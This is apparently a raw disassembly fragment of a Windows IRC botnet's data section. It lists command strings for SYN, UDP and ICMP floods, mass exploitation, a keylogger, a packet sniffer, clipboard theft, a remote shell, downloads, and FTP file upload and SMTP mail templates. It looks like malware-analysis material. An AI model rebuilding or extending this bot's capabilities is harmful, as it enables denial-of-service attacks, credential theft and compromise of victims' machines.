67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_42E964 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40CB8Ao dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_42E9B0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:0040CB80o dd 2029206Ch, 2BBBB02h aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42E9FC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:0040CB06o dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: .nsp0:0040CAF6o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: .nsp0:0040CAEFo dword_42EA54 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:0040CA5Ao dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_42EA90 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: .nsp0:loc_40C972o dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_42EAD0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: .nsp0:0040C96Bo dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: .nsp0:0040C954o aSS_4 db '-s:%s',0 ; DATA XREF: .nsp0:0040C93Do align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: .nsp0:0040C91Do db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: .nsp0:0040C8E8o align 4 dword_42EB4C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: .nsp0:0040C862o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 10h aFtp_upload db 'ftp.upload',0 ; DATA XREF: .nsp0:0040C83Fo align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: .nsp0:0040C81Co align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: .nsp0:0040C805o align 4 unk_42EBA8 db 3 ; DATA XREF: .nsp0:0040C7F8o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: .nsp0:0040C784o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: .nsp0:0040C6E8o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: .nsp0:0040C699o align 4 aUsa db 'usa',0 ; DATA XREF: .nsp0:0040C682o aDdod db 'ddod',0 ; DATA XREF: .nsp0:0040C66Bo align 4 aPg db 'pg',0 ; DATA XREF: .nsp0:0040C654o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: .nsp0:0040C63Do align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: .nsp0:0040C626o align 4 aPu db 'pu',0 ; DATA XREF: .nsp0:0040C60Fo align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: .nsp0:0040C5F8o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: .nsp0:0040C5E1o align 4 aVuln_start db 'vuln.start',0 ; DATA XREF: .nsp0:0040C5B3o align 10h aClone_ac db 'clone.ac',0 ; DATA XREF: .nsp0:0040C58Ao align 4 aClone_action db 'clone.action',0 ; DATA XREF: .nsp0:0040C573o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: .nsp0:0040C55Co align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: .nsp0:0040C545o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: .nsp0:0040C52Eo align 10h aEnz_portscan db 'enz.portscan',0 ; DATA XREF: .nsp0:0040C517o align 10h aServer_rd_on db 'server.rd.on',0 ; DATA XREF: .nsp0:0040C500o align 10h aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: .nsp0:0040C4E9o align 4 aD1 db 'd1',0 ; DATA XREF: .nsp0:0040C4D2o align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: .nsp0:0040C4BBo align 4 aSy1 db 'sy1',0 ; DATA XREF: .nsp0:0040C4A4o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: .nsp0:0040C48Do align 10h aDs_rm db 'ds.rm',0 ; DATA XREF: .nsp0:0040C476o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: .nsp0:0040C45Fo align 10h aDs_sy1 db 'ds.sy1',0 ; DATA XREF: .nsp0:0040C448o align 4 aClone_start db 'clone.start',0 ; DATA XREF: .nsp0:0040C431o aClone_make db 'clone.make',0 ; DATA XREF: .nsp0:0040C41Ao align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: .nsp0:0040C3F1o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: .nsp0:0040C3DAo align 4 aBox_mv db 'box.mv',0 ; DATA XREF: .nsp0:0040C3C3o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: .nsp0:0040C3ACo align 4 aBox_ff db 'box.ff',0 ; DATA XREF: .nsp0:0040C395o align 10h aBox_findfile db 'box.findfile',0 ; DATA XREF: .nsp0:0040C37Eo align 10h aBox_e db 'box.e',0 ; DATA XREF: .nsp0:0040C367o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: .nsp0:0040C350o aDownload_upz db 'download.upz',0 ; DATA XREF: .nsp0:0040C339o align 4 aDownload_updiz db 'download.updiz',0 ; DATA XREF: .nsp0:0040C322o align 4 aEnz_de db 'enz.de',0 ; DATA XREF: .nsp0:0040C30Bo align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: .nsp0:0040C2F4o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: .nsp0:0040C2DDo align 10h aEnz_repeat db 'enz.repeat',0 ; DATA XREF: .nsp0:0040C2C6o align 4 aClone_p db 'clone.p',0 ; DATA XREF: .nsp0:0040C2AFo aClone_part db 'clone.part',0 ; DATA XREF: .nsp0:0040C298o align 10h aClone_j db 'clone.j',0 ; DATA XREF: .nsp0:0040C281o aClone_join db 'clone.join',0 ; DATA XREF: .nsp0:0040C26Ao align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: .nsp0:0040C253o align 10h aClone_nick db 'clone.nick',0 ; DATA XREF: .nsp0:0040C23Co align 4 aClone_m db 'clone.m',0 ; DATA XREF: .nsp0:0040C225o aClone_mode db 'clone.mode',0 ; DATA XREF: .nsp0:0040C20Eo align 10h aClone_ra db 'clone.ra',0 ; DATA XREF: .nsp0:0040C1F7o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: .nsp0:0040C1E0o align 4 aEnz_m db 'enz.m',0 ; DATA XREF: .nsp0:0040C1C9o align 10h aEnz_mode db 'enz.mode',0 ; DATA XREF: .nsp0:0040C1B2o align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: .nsp0:0040C19Bo align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: .nsp0:0040C184o align 10h aEnz_ac db 'enz.ac',0 ; DATA XREF: .nsp0:0040C16Do align 4 aEnz_action db 'enz.action',0 ; DATA XREF: .nsp0:0040C156o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: .nsp0:0040C13Fo align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: .nsp0:0040C128o aEnz_aa db 'enz.aa',0 ; DATA XREF: .nsp0:0040C111o align 10h aEnz_addalias db 'enz.addalias',0 ; DATA XREF: .nsp0:0040C0FAo align 10h aEnz_gh db 'enz.gh',0 ; DATA XREF: .nsp0:0040C0D1o align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: .nsp0:0040C0BAo dword_42EEF4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:loc_40C06Co dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_42EF24 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:loc_40C065o dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_42EF58 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:loc_40C01Do dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_42EF88 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:0040C016o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: .nsp0:0040BF89o align 4 dword_42EFC4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:loc_40BF7Eo dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_42EFF8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:0040BF74o dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: .nsp0:0040BF0Co align 4 aDelete db 'delete',0 ; DATA XREF: .nsp0:0040BEF1o align 4 aPause db 'pause',0 ; DATA XREF: .nsp0:0040BEBEo align 4 aStop db 'stop',0 ; DATA XREF: .nsp0:0040BEA6o align 4 dword_42F04C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:loc_40BE9Bo dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_42F080 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:0040BE91o dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_42F0B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: .nsp0:0040BE0Do dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: .nsp0:0040BDE9o unk_42F10C db 2 ; DATA XREF: .nsp0:0040BDDCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_21 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_42F15C db 2 ; DATA XREF: .nsp0:0040BD6Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_42F190 db 2 ; DATA XREF: .nsp0:0040BCECo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_42F1C4 db 2 ; DATA XREF: .nsp0:loc_40BCD6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_42F204 db 2 ; DATA XREF: .nsp0:0040BCCCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aBox_keylog db 'box.keylog',0 ; DATA XREF: .nsp0:0040BC72o align 10h unk_42F260 db 2 ; DATA XREF: .nsp0:loc_40BC65o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_42F29C db 2 ; DATA XREF: .nsp0:0040BC5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: .nsp0:0040BC38o ; .nsp0:0040BCA9o unk_42F2EC db 2 ; DATA XREF: .nsp0:0040BC2Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_22 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_42F33C db 2 ; DATA XREF: .nsp0:0040BBBEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_42F380 db 2 ; DATA XREF: .nsp0:0040BB5Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: .nsp0:0040BB3Ao ; .nsp0:0040BC87o align 4 aSniff db 'sniff',0 ; DATA XREF: .nsp0:0040BB25o align 10h aBox_rf db 'box.rf',0 ; DATA XREF: .nsp0:0040BB0Eo align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: .nsp0:0040BAF7o align 4 aBox_cm db 'box.cm',0 ; DATA XREF: .nsp0:0040BAE0o align 10h aBox_cmd db 'box.cmd',0 ; DATA XREF: .nsp0:0040BAC9o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: .nsp0:0040BA9Bo ; .nsp0:0040BAB2o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: .nsp0:0040BA84o align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: .nsp0:0040BA6Do align 4 aBox_del db 'box.del',0 ; DATA XREF: .nsp0:0040BA56o aBox_delete db 'box.delete',0 ; DATA XREF: .nsp0:0040BA3Fo align 10h aBox_pkid db 'box.pkid',0 ; DATA XREF: .nsp0:0040BA28o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: .nsp0:0040BA11o align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: .nsp0:0040B9FAo aBox_killprocna db 'box.killprocname',0 ; DATA XREF: .nsp0:0040B9E3o align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: .nsp0:0040B9CCo align 10h aEnz_dns db 'enz.dns',0 ; DATA XREF: .nsp0:0040B9B5o aEnz_se db 'enz.se',0 ; DATA XREF: .nsp0:0040B99Eo align 10h aEnz_setserve db 'enz.setserve',0 ; DATA XREF: .nsp0:0040B987o align 10h aBox_o db 'box.o',0 ; DATA XREF: .nsp0:0040B970o align 4 aBox_open db 'box.open',0 ; DATA XREF: .nsp0:0040B959o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: .nsp0:0040B942o align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: .nsp0:0040B92Bo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: .nsp0:0040B914o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: .nsp0:0040B8FDo align 4 aClone_q db 'clone.q',0 ; DATA XREF: .nsp0:0040B8E6o aClone_quit db 'clone.quit',0 ; DATA XREF: .nsp0:0040B8CFo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: .nsp0:0040B8B8o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: .nsp0:0040B8A1o align 4 aEnz_r db 'enz.r',0 ; DATA XREF: .nsp0:0040B88Ao align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: .nsp0:0040B873o aEnz_pt db 'enz.pt',0 ; DATA XREF: .nsp0:0040B85Co align 4 aEnz_part db 'enz.part',0 ; DATA XREF: .nsp0:0040B845o align 4 aEnz_j db 'enz.j',0 ; DATA XREF: .nsp0:0040B82Eo align 10h aEnz_join db 'enz.join',0 ; DATA XREF: .nsp0:0040B817o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: .nsp0:0040B800o align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: .nsp0:0040B7E9o align 10h aVall db 'vall',0 ; DATA XREF: .nsp0:0040B7C3o align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: .nsp0:0040B7AEo align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: .nsp0:0040B799o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: .nsp0:0040B784o align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: .nsp0:0040B76Fo align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: .nsp0:0040B75Ao aVuln_cip db 'vuln.cip',0 ; DATA XREF: .nsp0:0040B745o align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: .nsp0:0040B730o align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: .nsp0:0040B71Bo align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: .nsp0:0040B706o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: .nsp0:0040B6F1o align 10h aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: .nsp0:0040B6DCo align 10h aBox_gc db 'box.gc',0 ; DATA XREF: .nsp0:0040B6C7o align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: .nsp0:0040B6B2o dword_42F604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040B6A1o dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: .nsp0:0040B66Do align 10h aEmpty db '<Empty>',0 ; DATA XREF: .nsp0:0040B660o aLoginList db '-[Login List]-',0 ; DATA XREF: .nsp0:0040B63Eo align 4 aEnz_who db 'enz.who',0 ; DATA XREF: .nsp0:0040B625o aCmd db '[CMD]',0 ; DATA XREF: .nsp0:0040B61Ao align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: .nsp0:0040B615o align 4 aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: .nsp0:0040B5FCo align 4 aBox_ocmd db 'box.ocmd',0 ; DATA XREF: .nsp0:0040B5E7o align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: .nsp0:0040B5D2o aBox_dll db 'box.dll',0 ; DATA XREF: .nsp0:0040B5BDo aBox_testdlls db 'box.testdlls',0 ; DATA XREF: .nsp0:0040B5A8o align 4 aBox_drv db 'box.drv',0 ; DATA XREF: .nsp0:0040B593o aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: .nsp0:0040B57Eo align 10h aBox_up db 'box.up',0 ; DATA XREF: .nsp0:0040B569o align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: .nsp0:0040B554o align 4 aBox_ps db 'box.ps',0 ; DATA XREF: .nsp0:0040B53Fo align 4 aBox_procs db 'box.procs',0 ; DATA XREF: .nsp0:0040B52Ao align 4 aR0i0m db 'r0i0m`',0 ; DATA XREF: .nsp0:0040B515o align 10h aEnz_beg0ne db 'enz.beg0ne`',0 ; DATA XREF: .nsp0:0040B500o aSi db 'si',0 ; DATA XREF: .nsp0:0040B4EBo align 10h aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: .nsp0:0040B4D6o aBox_ni db 'box.ni',0 ; DATA XREF: .nsp0:0040B4C1o align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: .nsp0:0040B4ACo aUtil_clg db 'util.clg',0 ; DATA XREF: .nsp0:0040B497o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: .nsp0:0040B482o align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: .nsp0:0040B46Do align 4 aEnz_log db 'enz.log',0 ; DATA XREF: .nsp0:0040B458o aEnz_al db 'enz.al',0 ; DATA XREF: .nsp0:0040B443o align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: .nsp0:0040B42Eo aThreads_l db 'threads.l',0 ; DATA XREF: .nsp0:0040B419o align 4 aThreads_list db 'threads.list',0 ; DATA XREF: .nsp0:0040B404o align 4 dword_42F78C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040B3D0o dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_42F7C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040B3C9o dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: .nsp0:0040B3B2o align 10h aEnz_i db 'enz.i',0 ; DATA XREF: .nsp0:0040B39Do align 4 aEnz_id db 'enz.id',0 ; DATA XREF: .nsp0:0040B388o align 10h aEnz_s db 'enz.s',0 ; DATA XREF: .nsp0:0040B373o align 4 aEnz_status db 'enz.status',0 ; DATA XREF: .nsp0:0040B35Eo align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: .nsp0:0040B349o align 10h aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: .nsp0:0040B334o align 10h aEnz_et3 db 'enz.et3',0 ; DATA XREF: .nsp0:0040B31Fo aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: .nsp0:0040B30Ao aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: .nsp0:0040B2F5o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: .nsp0:0040B2E0o align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: .nsp0:0040B2CBo aVuln_stats db 'vuln.stats',0 ; DATA XREF: .nsp0:0040B2B6o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: .nsp0:0040B2ABo align 4 aScan db 'Scan',0 ; DATA XREF: .nsp0:0040B2A6o align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: .nsp0:0040B28Do align 10h dword_42F8A0 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: .nsp0:0040B27Do align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: .nsp0:0040B264o align 4 dword_42F8C8 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: .nsp0:0040B254o align 10h aClone_off db 'clone.off',0 ; DATA XREF: .nsp0:0040B23Bo align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: .nsp0:0040B226o align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: .nsp0:0040B211o align 4 aBox_ff_off db 'box.ff.off',0 ; DATA XREF: .nsp0:0040B1FCo align 4 aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: .nsp0:0040B1E7o align 4 dword_42F928 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: .nsp0:0040B1BEo dword_42F944 dd 69027002h, 1F671F6Eh, 2E2Ehdword_42F950 dd 676E6950h, 6F6C6620h, 646Fhdword_42F95C dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42F96C dd 64027502h, 2E1F701Fh, 2Ehdword_42F978 dd 20504455h, 6F6F6C66h, 64hdword_42F984 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42F994 dd 79027302h, 2E1F6E1Fh, 2Ehdword_42F9A0 dd 206E7953h, 6F6F6C66h, 64hdword_42F9AC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42F9BC dd 64026402h, 1F731F6Fh, 2E2Ehdword_42F9C8 dd 536F4444h, 6F6C6620h, 646Fhdword_42F9D4 dd 736F6464h, 66666F2Eh, 0dword_42F9E0 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42F9F0 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: .nsp0:0040B0F1o dword_42FA14 dd 6F026C02h, 2E1F671Fh, 2Ehdword_42FA20 dd 20676F4Ch, 7473696Ch, 0dword_42FA2C dd 2E676F6Ch, 66666Fhdword_42FA34 dd 74026802h, 641F7074h, 2E2E1Fhdword_42FA40 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42FA50 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer db 'Server',0 ; DATA XREF: .nsp0:0040B08Fo ; .nsp0:0040B0B8o ... align 4 aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: .nsp0:0040B076o align 4 aLd_off db 'ld.off',0 ; DATA XREF: .nsp0:0040B061o align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: .nsp0:0040B04Co align 4 aLd_on db 'ld.on',0 ; DATA XREF: .nsp0:0040B037o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: .nsp0:0040B022o aEnz_ver db 'enz.ver',0 ; DATA XREF: .nsp0:0040B00Do aEnz_version db 'enz.version',0 ; DATA XREF: .nsp0:0040AFF8o aEnz_lo db 'enz.lo',0 ; DATA XREF: .nsp0:0040AFE3o align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: .nsp0:0040AFCEo align 10h aEnz_d db 'enz.d',0 ; DATA XREF: .nsp0:0040AFB9o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: .nsp0:0040AFA4o aEnz_rn db 'enz.rn',0 ; DATA XREF: .nsp0:0040AF8Fo align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: .nsp0:0040AF77o a63 db '63',0 ; DATA XREF: .nsp0:0040AE50o align 4 asc_42FAFC: ; DATA XREF: .nsp0:0040AE28o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: .nsp0:0040ADEBo align 4 aServer_2 db '$server',0 ; DATA XREF: .nsp0:0040ADE0o aRndnick db '$rndnick',0 ; DATA XREF: .nsp0:0040ADCFo align 4 aChan db '$chan',0 ; DATA XREF: .nsp0:0040ADB3o align 4 aUser_2 db '$user',0 ; DATA XREF: .nsp0:0040ADA2o align 4 aMe_0 db '$me',0 ; DATA XREF: .nsp0:0040AD90o aD_0 db '$%d',0 ; DATA XREF: .nsp0:0040AD22o aD_1 db '$%d-',0 ; DATA XREF: .nsp0:0040AC67o align 4 dword_42FB3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: .nsp0:0040ABFCo dd 0A0Dh dword_42FB54 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: .nsp0:0040AB8Do align 4 dword_42FB78 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: .nsp0:0040AB73o dd 0D017325h, 0Ah 